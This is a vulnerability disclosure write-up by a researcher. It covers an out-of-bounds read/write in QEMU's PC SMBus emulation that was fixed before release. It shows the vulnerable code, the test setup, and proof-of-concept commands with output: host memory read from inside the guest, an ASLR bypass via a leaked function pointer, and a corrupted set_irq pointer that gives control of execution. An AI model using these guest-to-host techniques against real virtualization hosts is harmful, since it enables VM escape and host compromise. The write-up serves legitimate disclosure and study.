Author: Michael Hanselmann. Updated: December 6, 2018.
QEMU is a virtual machine emulator. In early December 2018 I identified an out-of-bounds read and write vulnerability in its “PC SMBus” emulation by reading the source code. The responsible source code was added in August 2018 and is part of QEMU 3.1. After producing proof-of-concept exploits I sent a report on the vulnerability to the project while applying responsible disclosure principles. As the source code wasn't part of any final release it was directly fixed in QEMU v3.1.0-rc5 release (commit f2609ffdf3) and no CVE was assigned.
Reproduction environment
QEMU master branch as of December 5, 2018, commit 80422b0019 (v3.1.0-rc4). The file in question, hw/i2c/pm_smbus.c
, was last modified in commit 45726b6e2c (August 2018). Built and running on Debian 9 (Stretch) with gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1). Configure command:
./configure --target-list=x86_64-softmmu --disable-strip \ --enable-system --disable-user --disable-linux-user \ --disable-bsd-user --disable-guest-agent --enable-kvm \ --enable-virtfs --enable-debug
As a guest I used a daily build of Grml, a Debian-based live CD, changed to automatically provide a serial console for simplicity. A 9p device is used to provide data into the guest machine. Command used to start QEMU:
./x86_64-softmmu/qemu-system-x86_64 \ -smp 2 -m 600 \ -enable-kvm \ -machine pc,accel=kvm \ -vnc :0,to=99,id=default -serial mon:stdio \ -netdev user,id=user.0 -device e1000,netdev=user.0 \ -netdev user,id=user.1 -device e1000,netdev=user.1 \ -cdrom $HOME/grml64-small_testing_latest.iso \ -device usb-ehci \ -fsdev local,id=share,path=$HOME/share,security_model=none \ -device virtio-9p-pci,fsdev=share,mount_tag=share
To mount the shared data within the guest:
mount -t 9p -o ro,trans=virtio share /mnt
The source code of the proof-of-concept exploit needs to be compiled:
gcc -std=c11 -o $HOME/share/pm_smbus_poc pm_smbus_poc.c
Background
Under the correct circumstances the smb_ioport_writeb
function unconditionally increments the uint32_t
variable smb_index
before using it as an index into a fixed-size buffer. The relevant code bits:
static void smb_ioport_writeb(void *opaque, hwaddr addr, uint64_t val, unsigned width) { /* ... */ switch(addr) { case SMBHSTSTS: s->smb_stat &= ~(val & ~STS_HOST_BUSY); if (!s->op_done && !(s->smb_auxctl & AUX_BLK)) { uint8_t read = s->smb_addr & 0x01; s->smb_index++; if (!read && s->smb_index == s->smb_data0) { /* ... */ } else if (!read) { s->smb_data[s->smb_index] = s->smb_blkdata; s->smb_stat |= STS_BYTE_DONE; } else if (s->smb_ctl & CTL_LAST_BYTE) { /* ... */ } else { s->smb_blkdata = s->smb_data[s->smb_index]; s->smb_stat |= STS_BYTE_DONE; } /* ... */ }
The relevant definitions from include/hw/i2c/pm_smbus.h
:
#define PM_SMBUS_MAX_MSG_SIZE 32 typedef struct PMSMBus { /* ... */ uint8_t smb_data[PM_SMBUS_MAX_MSG_SIZE]; uint8_t smb_blkdata; uint8_t smb_auxctl; uint32_t smb_index; /* ... */ void (*reset)(struct PMSMBus *s); /* ... */ void (*set_irq)(struct PMSMBus *s, bool enabled); /* ... */ }
The function pointers are important for the demonstrations.
Reading arbitrary memory beyond the buffer
My proof-of-concept exploit starts off with getting the bus emulation into a defined state (index to zero, various registers set to known values). While testing it may be necessary to unload any kernel module using the I²C bus (usually i2c_*
). To cut the chase we'll read some memory:
root@grml ~ # /mnt/pm_smbus_poc read 6600 1000 | hexdump -vC […] 00000030 00 00 68 6f 74 70 6c 75 67 67 61 62 6c 65 00 00 |..hotpluggable..| […] 000001b0 00 00 61 63 70 69 2d 70 63 69 2d 68 6f 74 70 6c |..acpi-pci-hotpl| 000001c0 75 67 2d 77 69 74 68 2d 62 72 69 64 67 65 2d 73 |ug-with-bridge-s| 000001d0 75 70 70 6f 72 74 00 00 00 00 51 00 00 00 00 00 |upport....Q.....| […]
What we're seeing are strings allocated by g_strdup
for QEMU object properties. Reading the 1000 bytes at the offset of 6600 took just over 5 minutes in my test environment. It's not particularly fast, but it's very reliable if no other in-guest software such as a kernel module tries to interact with the bus in the meantime.
The function pointer stored in reset
by pm_smbus_init
is readily available:
root@grml ~ # /mnt/pm_smbus_poc read 42 8 | hexdump -vC 00000000 59 71 fd 66 08 56 00 00 |Yq.f.V..| # Address is pm_smbus_reset function pointer (gdb) info symbol 0x560866fd7159 pm_smbus_reset in section .text of …/x86_64-softmmu/qemu-system-x86_64 # Another run to show that ASLR is active root@grml ~ # /mnt/pm_smbus_poc read 42 8 | hexdump -vC 00000000 59 01 fe 8a cb 55 00 00 |Y....U..| (gdb) info symbol 0x55cb8afe0159 pm_smbus_reset in section .text of …/x86_64-softmmu/qemu-system-x86_64
Provoking a segmentation fault in the QEMU process is trival:
root@grml ~ # /mnt/pm_smbus_poc read $((1024 * 1024 * 1024)) 1 | hexdump -vC
Eventually QEMU will fail:
Thread 3 "qemu-system-x86" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7f19b02d7700 (LWP 32513)] 0x0000561401b64cfe in smb_ioport_writeb (opaque=0x561403c759c0, addr=0, val=255, width=1) at qemu/hw/i2c/pm_smbus.c:273 273 s->smb_blkdata = s->smb_data[s->smb_index];
Writing beyond buffer
I've tried to find ways to find arbitrary bytes beyond the buffer, but was only successful in reliably writing individual bytes within 255 bytes. Repeating a single byte read from smb_blkdata
up to a specific offset would also be possible, though less interesting. Setting smb_blkdata
while the index is equal or greater than PM_SMBUS_MAX_MSG_SIZE
(32) leads to the index being reset and tracking the uint32_t
index in smb_data0
is only possible up to 255 as the latter is of type uint8_t
. Moving the index by reading overwrites smb_blkdata
.
What the proof-of-concept exploit instead does is corrupt a function pointer, namely set_irq
. smb_ioport_writeb
will try to invoke the function before returning, leading to a segmentation fault.
Virtual machines using the ICH9 chipset emulation can trigger the reset function from the guest system (ICH9_SMB_HOSTC_SSRESET
). The pointer is well within the 255 bytes and if written from MSB to LSB could be easily controlled by a guest (implementation left as an exercise for the reader).
Let's try corrupting a function pointer:
root@grml ~ # /mnt/pm_smbus_poc corrupt-set-irq
Meanwhile in GDB (0x41 in the address is the PoC payload):
Thread 3 "qemu-system-x86" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7f37a3be6700 (LWP 32144)] 0x0000000000000041 in ?? ()